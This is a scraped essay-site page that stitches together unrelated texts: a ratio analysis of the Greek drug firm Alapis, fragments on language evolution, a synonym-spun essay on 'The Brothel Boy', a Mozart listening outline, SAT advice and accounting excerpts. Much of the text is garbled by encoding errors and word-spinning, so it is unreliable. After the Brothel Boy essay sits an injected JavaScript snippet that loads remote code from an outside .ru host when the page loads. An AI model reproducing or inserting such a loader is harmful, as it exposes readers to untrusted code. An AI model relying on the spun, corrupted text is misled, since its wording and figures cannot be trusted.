Financial Analysis Of Alapis Pharmaceutical Firm Finance Essay - Free Essay Example

Sample details Pages: 5 Words: 1645 Downloads: 1 Date added: 2017/06/26 Category Finance Essay Type Argumentative essay Did you like this example? ALAPIS SA, a Greek public pharmaceutical firm, employing 741 employees, is engaged in the manufacture and distribution of detergents and cosmetics, veterinary pharmaceuticals, nutritional supplements, animal accessories and organic products, as well as human pharmaceuticals, medical devices and health materials. The Company operates several subsidiaries that supply a variety of pharmaceuticals, medical equipment, and hygienic products to drug stores and hospitals. Animal feeds, pet food and accessories are some of the Companys veterinary product offerings. Don’t waste time! Our writers will create an original "Financial Analysis Of Alapis Pharmaceutical Firm Finance Essay" essay for you Create order ALAPIS S.A.s cosmetics and detergents product portfolio includes fabric softeners, bleachers and personal hygiene products, whereas the organic products segment contains agrochemicals, seeds, chemicals and aquaculture products. On June 10, 2010 Alapis implemented its strategy to focus on its core business Pharmaceutical segment and proceeded in the disposal of its non-Human Health activities, namely in Cosmetics and Liquid Detergents, Animal Health and Medical Devices sector. The CompanyÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒâ€¦Ã‚ ¸s equity capital, as of the end of FY2010, amounted to ÃÆ' ¢Ãƒ ¢Ã¢â€š ¬Ã… ¡Ãƒâ€šÃ‚ ¬588.360.132, divided into two 245.150.055 shares (a decrease from 1.961.200.440 in a reverse split; pro rata one new share for every 8 existing ones), each with nominal value ÃÆ' ¢Ãƒ ¢Ã¢â€š ¬Ã… ¡Ãƒâ€šÃ‚ ¬ 2.40 (up from ÃÆ' ¢Ãƒ ¢Ã¢â€š ¬Ã… ¡Ãƒâ€šÃ‚ ¬0.30 of nominal value per share). The major shareholder of the firm, since December 2010, is Mr. Mario Al-Jebouri who controls 15.206% of the CompanyÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒâ€¦Ã‚ ¸s total outstanding voting rights, and who, since February 2011, has been appointed the new Vice-Chairman (Non-executive member) of its Board of Directors. RATIO ANALYSIS Liquidity In Table 2-1 we can see first the change in the current ratio and quick ratio over the fiscal years 2008 and 2010. The significant drop of the current ratio in 2010 is attributed to the 47.13% fall in current assets over the previous year against a 119 % increase in current liabilities in the same year. Of the total decline in current assets the drop in inventory contributed 2.78 percentage points[1], while the fall in accounts receivable 29.67percentage points. The reduction in inventory and accounts receivable led to a decline in both the number of days of accounts receivable and the number of days in inventory increases. Then, we turn our attention to the basic three activity ratios; these ratios that measure the firms ability to convert different accounts within its balance sheets into cash. We can use these ratios in order to expresses the length of time (in days) that the takes to sell inventory, collect receivables and pay its accounts payable. Table 2-1 shows that the company, as its inventory turnover ratio fell, increased the number of days (from 18 days on 2008 to 70 days in 2010) it takes to convert its inventory to sales, either as cash or accounts receivable. This increase is attributed o the 264% increase of average inventory over the period 2008-2010. Table 2ÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒ ¢Ã¢â€š ¬Ã‹Å"1: The Firms Liquidity Ratios 2009 2008 2010 Current Ratio 1,269 1,304 0,325 Quick Ratio 1,218 1,218 0,302 Receivable Turnover Ratio 2,21 0,95 0,91 Average days sales uncollected 165,20 382,62 403,16 Inventory Turnover Ratio 20,40 3,16 5,24 Average days inventory on hand 17,90 115,40 69,66 Payable Turnover Ratio 6,44 0,48 1,26 Average days Payable 56,64 753,55 289,15 Figure 2ÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒ ¢Ã¢â€š ¬Ã‹Å"1: Activity Ratios for Alapis S.A., 2008-2010 Profitability We start our analysis of the firms profitability by looking at the most the most widely used measure of profitability, i.e. that of the return on equity (); this is defined as net income (i.e. profit after tax) divided by (average) common stockholders equity (Ross et al., 1999: 35). Table 2-2 shows the firms rapid deterioration of ROE from 2.82% in FY 2010 to the troublesome -84.59% in 2010. These results do not include and any figures for discontinued operations. Of course the main driver in the falling course of the return on equity was the falling profit margin (in Table 2-4 we see that financial leverage could not enhance the companys ROE; notice the significant increase in the firms debt-to-equity ratio). As we can see the profit margin plunged from 9.79% in FY 2008 to -310% in FY2010. Table 2ÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒ ¢Ã¢â€š ¬Ã‹Å"2: The Firms Profitability Figures 2008 2009 2010 Profit Margin (%) 9,797 18,76 -310,00 Asset Turnover (%) 17,873 7,86 13,23 Return on Assets (%) 1,751 1,48 -41,00 Return on Equity (%) 2,812 2,46 -84,59 Figure 2ÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒ ¢Ã¢â€š ¬Ã‹Å"2: Profitability Ratios for Alapis S.A., 2008-2010 This immensely negative figure for the profit margin was down of course to the impact of the 792.494.000ÃÆ' ¢Ãƒ ¢Ã¢â€š ¬Ã… ¡Ãƒâ€šÃ‚ ¬ worth of the impairment charge in FY 2010; that figure concerned only the continuing operations. Indeed, In application of the IFRS and specifically IAS 36, Alapis proceeded to the audit of impairment of the GroupÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒâ€¦Ã‚ ¸s goodwill stemming from the acquisition of controlling interest at subsidiaries, the Group proceeded with an impairment of the goodwill related to intangible and tangible assets from continuing operations amounting to a total amount of ÃÆ' ¢Ãƒ ¢Ã¢â€š ¬Ã… ¡Ãƒâ€šÃ‚ ¬ 840,5 mil. which impacted the results for 2010. The magnitude of the impairment was affected to a great extent by the adverse changes of financial parameters and components such as the discount rate, the market risk factor, the systematic risk factor, all of which were affected by the global financial crisis and the impact on the Greek economy. It should be noted however that the majority of the impairment is attributed to the significant impairment of goodwill that was created in 2007 when Alapis was formed through the 4-way merger as well as the subsequent company acquisitions. Cash Flow Adequacy Table 2-3 shows that all cash flow multiplies decreased through time. This of course has to do with the fact that operating cash flow plummeted from ÃÆ' ¢Ãƒ ¢Ã¢â€š ¬Ã… ¡Ãƒâ€šÃ‚ ¬195,310,000 in 2008 to just ÃÆ' ¢Ãƒ ¢Ã¢â€š ¬Ã… ¡Ãƒâ€šÃ‚ ¬58,293,000 in 2010. If we leave aside the thorny year of 2010, the problem with the falling operating cash flow in 2009 is not to be found in the operating profitability (roughly the same in 2008 and 2009), but to the working capital charges. Specifically, the huge increase in trade receivables in 2009 (compared with a decrease in 2008) brought the operating cash flow down from ÃÆ' ¢Ãƒ ¢Ã¢â€š ¬Ã… ¡Ãƒâ€šÃ‚ ¬195,310,000 in 2008 to ÃÆ' ¢Ãƒ ¢Ã¢â€š ¬Ã… ¡Ãƒâ€šÃ‚ ¬97,065,000 in 2009. Table 2ÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒ ¢Ã¢â€š ¬Ã‹Å"3: The Firms Cash Flow-Adequacy Figures 2008 2009 2010 Cash Flow Yield (%) 4,544 1,987 -0,065 Cash Flow to Sales (%) 44,514 37,276 20,235 Cash Flow to Assets (%) 7,956 2,931 2,676 Gearing Ratio Table 2-4 shows the firms hugely erratic interest coverage ratio, which is used to determine how easily the company can pay out of its operating income its interest expenses on outstanding debt. Notice how the firms ability to meet its interest expenses became questionable after FY2009. Clearly, the company cannot go one like that as a going concern; it must either reduce leverage or increase operating profitability. If we exclude from our analysis FY2010, the interest coverage ratio fell as the quite robust increase in operating profit (from 74,856,000ÃÆ' ¢Ãƒ ¢Ã¢â€š ¬Ã… ¡Ãƒâ€šÃ‚ ¬ in 2008 to 129,178,000ÃÆ' ¢Ãƒ ¢Ã¢â€š ¬Ã… ¡Ãƒâ€šÃ‚ ¬ in 2009) could not cover the immense increase in the firms (net) finance cost (from 294,000ÃÆ' ¢Ãƒ ¢Ã¢â€š ¬Ã… ¡Ãƒâ€šÃ‚ ¬ in 2008 to 51,436.000ÃÆ' ¢Ãƒ ¢Ã¢â€š ¬Ã… ¡Ãƒâ€šÃ‚ ¬ in 2009). One of the reasons accounting for the increase in finance cost is the increase in interest expense on non-current borrowings; this expense rose from ÃÆ' ¢Ãƒ ¢Ã¢â€š ¬Ã… ¡Ãƒâ€šÃ‚ ¬ 12,648,000 to ÃÆ' ¢Ãƒ ¢Ã¢â€š ¬Ã… ¡Ãƒâ€šÃ‚ ¬ 23,263,000 in 2009. Table 2ÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒ ¢Ã¢â€š ¬Ã‹Å"4: The Firms Gearing Ratios 2008 2009 2010 Debt to Equity Ratio 0,606 0,664 1,063 Interest Coverage Ratio 251,040 1,511 -9,070 Market Strength Table 2-5 also shows very erratic investment ratios. At this point we need to clarify that in order to calculate the price earnings ratio we have divided the market price per share at the end of the fiscal year by the earnings over the last 12 months, while in order to estimate the dividend yield we have used the share price at the beginning of the fiscal year. As we can see from Table 2-4, the only decent fiscal year when it comes to the dividend yield was FY2009 when an investor who had bought shares of the company at the beginning of the year would have landed an 8.13% dividend yield. In 2008 the dividend yield was a non-existent 0.60%. This is attributed to the fact that in 2008 the companys net profits (after tax) were significantly reduced (by almost 46%), and as a result the companys management decided to distribute a dividend per share of 0.011ÃÆ' ¢Ãƒ ¢Ã¢â€š ¬Ã… ¡Ãƒâ€šÃ‚ ¬ against 0.025ÃÆ' ¢Ãƒ ¢Ã¢â€š ¬Ã… ¡Ãƒâ€šÃ‚ ¬ for 2007; this represent a 56% reduction in the dividend payout for the FY2008. For 2010 we see that the dividend yield was zero as the company distributed no dividend because of the losses incurred in the same fiscal year. The firms P/E is illustrative as to the growth prospects the market had attached to the firm. Specifically, by the end of FY2008 much investors were willing to pay ÃÆ' ¢Ãƒ ¢Ã¢â€š ¬Ã… ¡Ãƒâ€šÃ‚ ¬13.23 for ÃÆ' ¢Ãƒ ¢Ã¢â€š ¬Ã… ¡Ãƒâ€šÃ‚ ¬1 of  current earnings, while by the end of the next fiscal year that figure went down to ÃÆ' ¢Ãƒ ¢Ã¢â€š ¬Ã… ¡Ãƒâ€šÃ‚ ¬1.38 pay euro of earnings per share. This tenfold reduction in the P/E ratio, which occurred despite the fact that the companys earnings per share rose from 0.04 in 2008 to 0.33 in 2009, is indicative of how gloomy are the markets expectations with the regard to the growth prospects of Alapis. Table 2ÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒ ¢Ã¢â€š ¬Ã‹Å"5:The Firms Investment Ratios 2008 2009 2010 Price/Earnings Ratio[2] 13,229 1,380 NA Dividends Yield[3](%) 0,608 8,136 0,000 FUTURE PROSPECTS The adverse conditions that prevailed throughout 2010 in combination with the stringent austerity measures Greece has taken as was expected took a toll on healthcare expenditure; this in turn significantly affected the domestic pharmaceutical sector. Right now the main problem the sector faces is overall delay of payments by the Greek State to the pharmaceutical companies, a problem that may further dent turnover and profit margins 2010 CONCLUSIONS The decrease in the companys turnover can be attributed to three factors. First, there was the reduction in the pharma prices imposed by the State during the 4th quarter of 2010. More specifically, in May 2010 the Greek state applied a horizontal price reduction on approximately 12,000 drugs. Second, as the pharmacies decided to destock in view of the new pricing environment that led to a lot of product returns to the Company. Third, the company decided to proceed with the sale of some activities. We may argue that the basic risk ahead for the company is the price risk, as the Greek State (according to L.3840/31.03.2010) is the price setter for a medicine produced, packaged or imported in the country; this price must not exceed the average of the three lowest prices of that particular medicine as sold within the European Union (EU) member states. This pricing system is expected to be to the detriment of the company s future as the GDP and labour costs in some EU member states, such as Bulgaria, Romania, and Poland, are 40% of the respective Greek figures, and as a result the price of the same piece of medicine is expected to be quite low in these countries.

The Evolution of Language - 1707 Words

The Evolution of Language The study of language is very intriguing once you start looking a little farther into it. I read through many books and sources to help make the history of language a little more clear and found many interesting ideas. I found that something as simple as the way you use your hand could shape the brain, language, and human culture (The Hand). I also found many sources on human evolution; and digging a bit deeper into this area showed me many thoughts and ideas I never even have thought about. The book that was most helpful in this area gave me many topics to think about. It had a few chapters in it that really caught my eye. It had historical views on this subject, a modern evolutionary theory,†¦show more content†¦This longer time period for humans essentially gives us about a 21- month gestation period. This pattern has been named the secondary altriciality. It is a fact that the human brain is about 3 times bigger than the apes brain. There is fossil evidence that could po ssibly show the expanding brain size and give insight on social organization, or more specifically, infant care. There are also many possible causes of brain expansion. A popular notion that has been around for a while is the hypothesis seems very obvious. The major difference between apes and humans is that humans made and used stone tools. The brain size growing to the amount of basically tripling in size is also coupled with an increasing complexity of tool technology (Human Evolution). There are now newer ideas that have been thought to be the explanation for this evolution. There have been laboratory tests done on apes and monkeys that showed they are very intelligent creatures, and then tests done in field studies that show the daily lives of these creatures are relatively undermanding. These findings bring up many questions and one particular question is, â€Å"What selective advantage does a high degree of intelligence confer on monkeys and apes?†. The answer to this question is primate social life. Language is a unique characteristic of humans (Human Evolution). There is fossil evidence and archeology that can help answer the â€Å"when did language evolve† questions. Another question that in just asShow MoreRelatedEvolution Of Language And The Brain1447 Words   |  6 PagesSchool. Deacon’s special interests include bio-cultural evolution, brain development, and biosemiotics. He has published 2 major books The Symbolic Species: The Co-Evolution of Language and the Brain† and â€Å"Incomplete Nature: How Mind Emerged from Matter† also coauthored several books and articles revolving semiotics. The book I will be mainly focusing on is The Symbolic Species, which tackles on his theory of the co-evolution of language and the brain. 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Social Stratification As A Main Theme In free essay sample

The Brothel Boy And Other Parables Of The Law Essay, Research Paper # 8220 ; Justice is your occupation, non mercy. # 8221 ; This is a really strong statement coming from The Brothel Boy and Other Parables of the Law by Norval Morris. This sentence portrays a outstanding subject in the determinations made in this book. Sent to Moulmein, Burma to move as a police officer, prosecuting officer, and justice, Eric Blair discovers that the jurisprudence is non every bit clear-cut as it may look. Constantly plagued by his moral and legal values, Eric Blair finds himself seeking the advice from the local physician, Dr. Veraswami. Blair has a sum of eight separate brushs in which he battles for the right reply. He shortly finds out that there is non one right reply, but many different replies that could be right or incorrect depending on the state of affairs. Many sociological and socio-legal issues are seen throughout the book. My primary focal point will be on societal stratification and the function it plays with the legal issues and determinations. . The survey of societal stratification is the survey of category, caste, privilege, and position that is characteristic of a peculiar society. It varies harmonizing to how society is organized particularly in footings of production and work. This thought is a sociological issue that seems to predominate throughout Blair # 8217 ; s brushs. There are many different group and single positions that made up the small town of Moulmein, Burma. The English were finally the superior group because they governed Burma and because they were white. Each individual among the English did hold his or her ain single position every bit good. Blair for illustration had high position in the community because of his occupation. After the English came the Burmese villagers. Some of these people were more of import than others based on their cultural and educational degrees. Even though Dr. Veraswami was non Burmese, he still was integrated into their society because of the colour of his tegument. He had h igh position in this society because he was a physician with the best certificates. The issue of societal stratification is of import because it is a prevailing subject. Ultimately societal stratification plays a major function in the result of the single instances. In this paper I am traveling to reason why portion societal stratification plays a outstanding portion in a three of Blair # 8217 ; s legal determinations. Blair # 8217 ; s first brush is the whorehouse male child. The whorehouse male child was a kid born to the local whorehouse and maintain on to work as a fanner for the cocottes. Having no instruction and hardly any communicating accomplishments, one would see him retarded. The male child, non cognizing of any wrongdoing attempts to pay a local miss to hold sex with him. She refuses and he proceeds to ravish her, she ends up falling and hitting her caput on a stone, which leads to her decease. Blair is faced with the undertaking of penalizing the male child. The villagers want him executed because of his ghastly offense. Blair on the other manus, finds himself in a hard state of affairs because he feels the male child did non cognize any better. Taking into history Dr. Veraswami # 8217 ; s advice to make what the villagers would desire, Blair decided to put to death the male child. The function of societal stratification plays an of import function in this instance. The whorehouse male child held the lowest position in his society. Due to his deficiency of instruction, and his occupation in the whorehouse, he was held at about the slave degree. It was easier for the villagers to hold to an executing because the male child held no topographic point in society. It was difficult for Blair to hold to this because he felt sorry for the male child, but because the other villagers were of higher category, Blair made the determination on executing. Blair made the right determination even though he was non certain of himself. The male child was at the subsistent degree in society. Even if Blair had acquitted the male child, he would travel back to a life that was non deserving life. His occupation that kept him existing was revolting. It was non his mistake that he held that occupation, but that was where society had placed him. He had no formal instruction nor communicating accomplishments so he could non acquire out of his state of affairs. He would go on to work at the whorehouse until he was let travel. Where would he travel from at that place? The Burmese society would eschew him. The European society would eschew him even more. Peoples would likely seek and do injury to him because of the miss # 8217 ; s decease. This would stop up being more anguish than his executing. Blair thought the male child deserved some clemency because of the conditions. He was right, but put to deathing him likely could hold been the most merciful thing to make. He satisfied the villagers, even though he was non satisfied himself. If Blair would hold thought more about the male child # 8217 ; s state of affairs and the society in which he was imposed in, Blair would likely hold came to the same decisi on. In the terminal justness prevailed every bit good. Even though the offense of decease was inadvertent, another offense, colza was committed that resulted in the miss # 8217 ; s decease. The offense deserved a rough penalty, and the male child was given one. Therefore, even though Blair did non acknowledge this, justness and clemency prevailed. Justice prevailed because he did what was allowable by jurisprudence, and clemency because he saved the male child from the barbarous society in which he would hold returned. gt ; Blair # 8217 ; s 2nd brush dealt with parental rights. A half Burmese, half European male child was born to a retainer in one of the European families. Trying to salvage the adult female from any embarrassment, the household agreed to raise the male child. At the age of seven the household decides to go forth Burma and take the male child. The existent female parent of the male child wanted the male child to remain with her in her small town. Blair is so faced with the determination of which household to allow detention. He ends up allowing detention to the English parents. This trades with two different civilizations and two different categories of people. The English household is affluent and wants to raise the male child in their European civilization, as opposed to the existent female parent who is hapless and portion of the Burmese civilization. The male child has the chance to turn up in a rich environment as opposed to village life. Who has more of a right to rear the male child? This was the issue that Blair dealt with. The natural parents normally have a higher claim to the kid than adoptive parents. Blair even admits this as he debates. In the terminal though he gives the male child to the English household. Blair felt that being raised in the English household would be better for the male child. The English household was wealthier than the Burmese female parent, and could give him more of a formal upbringing than the small town. Was it the societal stratification that decided Blair # 8217 ; s determination? I would state yes. Blair neer stopped t o believe that the Burmese kid may be shunned in the white English society, or that the household may be shunned by raising the kid. Blair already knew that the male child was accepted into the Burmese society because his existent female parent would take him with her to the small town for frequent visits. What Blair saw was a high-toned household that could offer the male child more than his native small town. On the other manus, who is to state that he would non acquire offerings merely as rich if he stayed in the small town? He may non hold gotten what our society would see rich, but what the Burmese society considers rich. Blair would non cognize these things because he is of the # 8220 ; rich # 8221 ; European society. Did Blair do the incorrect determination? I excessively would hold chosen the English household for the exact grounds I merely discussed. I feel that the English household could offer the male child more than his small town in Burma. But so once more, I am from the same European society as Blair so my sentiment could be viewed as colored. As one can see, societal stratification intersects with cultural neutrality doing it really hard to set up the right solution. But it is of my sentiment that it was societal stratification that made the determination for Blair irrespective if he was witting of it or non. Blair # 8217 ; s 3rd brush dealt with a European adult male and his Burmese kept woman. During one of their meetings, the adult male dreamt that his kept woman was fornicating with one of the Burmese small town work forces. This made him angry and in hastiness he shot the adult male. He awoke to happen that he had shot and killed his kept woman in his slumber. The tribunal held that he was guiltless of any offense because he was non in a witting province at the clip he committed the offense. This scenario incorporates societal stratification with racism. The European adult male is in the higher socio-class than the Burmese adult female. Since it was taken through the English tribunals, his acquittal was based on the societal stratification. One could reason that this could be a covert signifier of racism. If the state of affairs was reversed and a Burmese adult male had murdered an English miss in his slumber, would he hold been acquitted of the charges? No he would non. Due to the socio-class that the Burmese belonged to, and the clip epoch, the adult male would likely hold been executed. The fact that the charges were dismissed shows an unequal balance between the two societies. He was responsible for the miss # 8217 ; s decease even though it happened in his slumber. He may non hold deliberately meant to make it, but there are some indicants that this could hold been a foolhardy decease. One facet to believe about is the gun. Why was it so easy available to him to be able to perpetrate this offense? Besides there had been some past history of him moving out his dreams and he could hold received aid. His complete acquittal of all the charges was morally and lawfully incorrect. Blair even expresses this sentiment in the book. In decision, # 8220 ; To endeavor for justness, one must be a individual of rules. There is no individual rule that one can utilize to accomplish justness in the declaration of legal disputes. # 8221 ; This is true because one must utilize a broad array of rules that come from moral and legal positions in order to derive a declaration. Unfortunately society has deemed it necessary to integrate societal stratification into some of these rules. The jurisprudence tends to hold more leniences to those who have higher places in society. With as many categories as our society today, it is impossible to happen a jury of equals. Each individual has their ain thought of cultural norms, legal and moral rules, and a socio-class in which they belong to. Therefore, I contend that societal stratification, whether it is between races, or economical degrees, will ever hold some function in legal determinations. Willdermood 6 ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Music Listening Outline Research Paper Example

Music Listening Outline Paper His timing to erupt into the classical sic scene was perfect because the music Of the Renaissance and Baroque periods were transitioning toward more full-bodied compositions with complex instrumentation which played into Mozart genius musical talents. Mozart is considered to be prodigy and one of the most talented musical composers of all time producing over 600 pieces of work. Mozart died in Vienna, on December 5, 1 791. Why chose Mozart piece from the Classical Period: chose to listen to and highlight Mozart Symphony No in G Minor, K 550 1. Molt Allegro. The reason I chose this piece is because Im not all too milliamp with classical music (Although I do like to listen to Panders Classical Music for studying station. ) and this is a piece Ive heard before and can relate too due to its popularity from background music for television commercials and a being constantly played on my new favorite Pandora station. The piece was completed July 25th in 1 788 and has been described as one of Mozart most passionate and dramatic pieces with an emotional intensity. History and description: This piece is divided into four sections or movements. We will write a custom essay sample on Music Listening Outline specifically for you for only $16.38 $13.9/page Order now We will write a custom essay sample on Music Listening Outline specifically for you FOR ONLY $16.38 $13.9/page Hire Writer We will write a custom essay sample on Music Listening Outline specifically for you FOR ONLY $16.38 $13.9/page Hire Writer The first is fast molt allegro), the second is slow (andante), the third, minuet (allegretto), and the fourth, fast and tense (allegro assai). The instruments used are flutes, oboes, clarinets, bassoons, French horns and other strings. The duration of the piece is 8:12. In his last three symphonies, the second of which is the great Symphony no. 40 in G minor, Mozart infused this form with a passion and expressiveness unheard of in symphonic writing until the advent of Beethoven (Sherman, 2012) The first theme has a rhythmic pattern that has a little hint of urgency. You can hear the melody in the music thats easy to follow because of its balance and symmetry in relationship to the music. He Staccato was built into the melody as seen in: 22 Of the music. It has flow. The lyrical theme has an agitated feeling. The tone, texture and color are enhanced by the added instruments. Strings and woodwinds are the guilty pleasures of tone and color. Mozart brings a new rendition to the theme music during the lyrical to bring forth emotion slight variations of feeling. As the piece develops, he uses a polyphonic texture that increases tit high and low strings that bring drama throughout the music. He successfully combines it with staccato countermeasures which add to the excitement. My feelings and thoughts: The piece was like waves of energy or urgency that kept me interested but not excited about anything. I wasnt sure of the purpose throughout the piece. It reminded me of temptation or getting into mischief when was a kid.

Class of 2017 New SAT or Old SAT (Updated)

Class of 2017 New SAT or Old SAT (Updated) SAT / ACT Prep Online Guides and Tips The Class of 2017 is in a tough spot on the SAT. Should you take the new SAT or old SAT? If you take the new SAT, you would be the guinea pigs for a totally new system; if you take the old one, you have a tighter schedule. How does it break down? Important Note: This article has been updated as of January 25th 2016. If you are reading this, thenat least for official testings, it is too late to choose the old SAT. This article was for historical SAT test-takers registering before January 2016. However, the advice below is still useful for any future test version changes, whether SAT or ACT. Aside: Not in the Class of 2017? Find out whether you should take the new or old SAT here! The answer, according to multiple experts, is to definitely take the old SAT (though there are a few exceptions, see below). Fred Zhang, cofounder of PrepScholar, went through the last SAT transition in 2005, and saw tremendous advantages for the takers of the old SAT. Admittedly, the schedule is less than optimal. The final chance you have to take the SAT will be January 2016, according to the College Board. This is only the middle of your junior year, which gives you less slack than your older classmates, but has huge advantages. You know what the current SAT looks like. There is almost a decade of history with the current SAT. Everyone knows what the old SAT looks like, how to effectively prepare for it, and what's on it. You can do real practice tests that have actually been given in the past. This advantage cannot be overstated. If you are the studying type, taking a test with no history will greatly lower your relative advantage. Here are all of the extra resources you get access to with the old SAT: You can ask older classmates for their best tips and strategies. SAT prep companies and study guides will have perfected prepping for the old SAT. More than 20 real practice SATshave been released by the College Board, and practicing using real tests is so important. You can take a real administration early on to get a feel for timing and the tests. Almost all free advice you can find online about the SAT applies best to the old SAT. They may still hold for the new SAT, but there's a chance the diametric opposite is true. The January 2016 Deadline Is Not That Bad Yes, it does restrict some backup options for you, but really, you don't want to bestudying junior summer, or worse, senior fall. If you study for the SAT too late, it will interfere with your extracurriculars and college application process. Ideally, you want junior summer, and certainly senior fall, to be free from the distraction of taking SATs. Also, if you plan correctly, you'll actually have more opportunties to take the SAT with a schedule that puts your test in January or before, rather than March or later. The January 2016 deadline is really not that bad with just a bit of earlier study. You Get to Take Two Bites at the Apple You follow the old SAT timeline. Suppose you do great on the old SAT, blowing it out of the water great, you don't need to take the SAT anymore! Now assume the reverse: you royally mess up on the old SAT, its style isn't for you. Is it over? Not if you're taking the old SAT you get to pick from the best of two tests! Just take the New SAT, and if it's a better fit for you, you're golden! But the reverse scenario? If you plan to take the new SAT, and then bomb it and figure out you're actually better at the old SAT? Sorry pal, but you can't turn back time you're stuck! Avoid Being a Guinea Pig In first few administrations of the new SAT, you'll be a guinea pig for the College Board. They don't yet have experience in designing flawless problems, calibrating their scale, and perfecting the proctoring instructions. I personally would not be surprised at more than a few hiccups. Exceptions: If you just want to wing the SAT There are a few exceptions to the advice that the Class of 2017 should take the old SAT. The primary oneis if you're going to wing the SAT. For the same reason that studiers benefit from the old SAT, if you're going to totally wing it anyway, the new SAT is better for you since studiers won't have as large of a relative advantage. What if you don't have enough time to study for the January 2016 SAT? Say it's three weeks before, is it still worth signing up? I would say if you are a serious SAT taker yes for sure! Even if you don't study much, if you're naturally better at the old SAT, you could do better on the old SAT naturally compared to the new SAT. If you've got an extra four hours, and don't mind retaking the new SAT again, it is definitely worth it to strategically just try the old SAT even with minimal study in case you're naturally better at it! What to Do Next: Now that you know which SAT to take, you'll probably want to know how to study for it. We've researched hundreds of student stories and academic studies and found the 5 principles you need to follow to improve your score. Click the link below and enter your email address to get the best SAT prep advice you can get anywhere. Follow these 5 strategies to improve your SAT score by 160 points or more. Long story short: if you can manage it, aiming for the old SAT would be advantageous. Don't wait for the new SAT to take it! Also, check back here for a complete timeline guide for the Class of 2017 taking the SAT. Other Posts You May Like: Not in the Class of 2017? Should you take the new or old SAT? What should your SAT target be? Get Started Improving Your SAT Score Today: Have friends who also need help with test prep? Share this article! Tweet Dr. Fred Zhang About the Author Fred is co-founder of PrepScholar. He scored a perfect score on the SAT and is passionate about sharing information with aspiring students. Fred graduated from Harvard University with a Bachelor's in Mathematics and a PhD in Economics. Get Free Guides to Boost Your SAT/ACT Get FREE EXCLUSIVE insider tips on how to ACE THE SAT/ACT. 100% Privacy. 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Geography Investigation - In what stage of Butlers Tourist Area Life Essay

Geography Investigation - In what stage of Butlers Tourist Area Life Cycle Model is Sao Paulo - Essay Example have witnessed a massive tourist influx over the past two decades owing to the twin availability of Scenic beauty, world-class recreational facilities and good living conditions in all these places. However, besides all these regions, South America continues to be a lucrative destination for tourists and backpackers alike. Amongst the South American nations, Brazil, the largest country in Latin America has been successful in serving as a major tourist destination for travelers worldwide. From the traditional Samba dances of cities such as Sao Paulo and Rio de Janeiro on one hand to the unknown secrets of the thick rain forests of the Amazon on the other, Brazil offer an amazing choice for an amazing and breathtaking holiday. Promoting tourism has been running high on the on the agenda of the government of Brazil for many years, which views tourism and the revenue generated by the industry as a major contributor to the national GDP. The ministry of Tourism, which came into existence in 2003, highlights the growing acceptance and importance of the sector to Brazil’s economy. Since then, the number of promotional tourist events and fairs in Sao Paulo and Rio De Janeiro has almost doubled and the income (Jane Ladle, Insight Guides, Huw Hennessy, Brian Bell, 1999). The government has invested heavily in the development and overhaul of major infrastructure such as roads, airports, hotels and beaches. Many places considered symbols of world heritage have been protected and restored. In Sao Paulo alone, Tourism has been acknowledged to employ nearly 15% of the working population, which goes to underline the strategic importance of this sector within Sao Paulo’s economy (Gui Santana, 2001). However , serious questions have been posed by researchers as to whether Sao Paulo has passed its prime. An additional decline in the amount of tourist activity in countries across the Mediterranean and elsewhere have prompted many to voice the need of the hour for a study of all

The Qualitative Characteristics of Relevance and Reliability Essay

The Qualitative Characteristics of Relevance and Reliability - Essay Example IASB has set standards for financial reporting which ensure that the reporting is done according to the set principles by all the companies. This helps the users of financial statements in making crucial economic decisions as there is no ambiguity due to different accounting styles. The standards ensure that a company provides all the relevant information that influences the financial needs of the users. There are specific areas that are not allowed to be left untouched. There is a possibility that some users require non-financial information about a company which is not available in its financial statements. There are a variety of users and their requirements are also different. Financial statements may be used by the employees of a company to know about their chances of obtaining a bonus. A cash flow statement of the year describes the liquidity of the company. Comparisons of statements of affairs of a year with those of preceding years help in evaluating the performance of the com pany. ... These are understandability, relevance, reliability and comparability (Para 24). Understandability and comparability can be discussed in the context of relevance and reliability as they cannot be separated from each other. According to Para 25, the information that is provided in the financial statements must be readily understandable by the users who have reasonable knowledge of business, accounting and economic activities and a willingness to study the financial statements. If the information is not understandable, it might not be reliable for the users because they would be reluctant to take decisions on the basis of such information. However, some information of complex nature has to be included in the financial statements to ensure that relevant information is available. Such information cannot be discarded merely due to the fact that it is difficult to understand. Para 26 of the Framework explains that information is relevant when it influences the economic decisions of users b y helping them in evaluating past, present or future events (predictive role) or by confirming, or correcting, their past evaluations (confirmatory role). The predictive and confirmatory roles of information are interrelated. For instance, a user may take a decision on the basis of information regarding the current level and structure of asset holdings of a company. Here, this information would have predictive role. But the similar information might also prove to be the confirmation of previous predictions made by the similar or different users (Para 27). The predictive ability of information does not mean that it gives clear forecasts; it gives relevant and reliable information so that the

Outline the historical origins of neo-conservatism and critically Essay

